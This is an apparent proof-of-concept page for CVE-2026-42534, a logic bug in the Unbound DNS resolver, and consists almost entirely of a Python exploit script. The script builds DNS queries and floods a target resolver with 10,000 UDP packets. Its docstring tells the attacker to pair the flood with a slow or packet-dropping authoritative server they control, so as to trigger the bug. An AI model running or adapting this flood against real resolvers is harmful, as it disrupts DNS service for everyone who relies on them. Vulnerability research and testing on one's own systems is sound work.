CVE-2026-42534 Unbound Jostle逻辑漏洞

import socket import time import struct def create_dns_query(domain): transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Encode domain name question = b'' for part in domain.split('.'): question += bytes([len(part)]) + part.encode() question += b'\x00' # QTYPE (A record) and QCLASS (IN) question += struct.pack('!HH', 1, 1) return header + question def exploit_unbound(target_ip, target_port, domain, count): """ Proof of Concept for CVE-2026-42534. This script floods the Unbound resolver with queries for a specific domain. Note: To successfully exploit, the attacker must control the authoritative DNS server for the target domain and ensure it responds very slowly or drops packets. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_dns_query(domain) print(f"[*] Sending {count} queries to {target_ip}:{target_port} for {domain}...") print("[*] Ensure the authoritative server for this domain is responding slowly to trigger the jostle logic bug.") for i in range(count): try: sock.sendto(payload, (target_ip, target_port)) except Exception as e: print(f"Error sending packet: {e}") sock.close() print("[*] Attack packets sent.") if __name__ == "__main__": TARGET_IP = "127.0.0.1" TARGET_PORT = 53 DOMAIN = "example.com" PACKET_COUNT = 10000 exploit_unbound(TARGET_IP, TARGET_PORT, DOMAIN, PACKET_COUNT)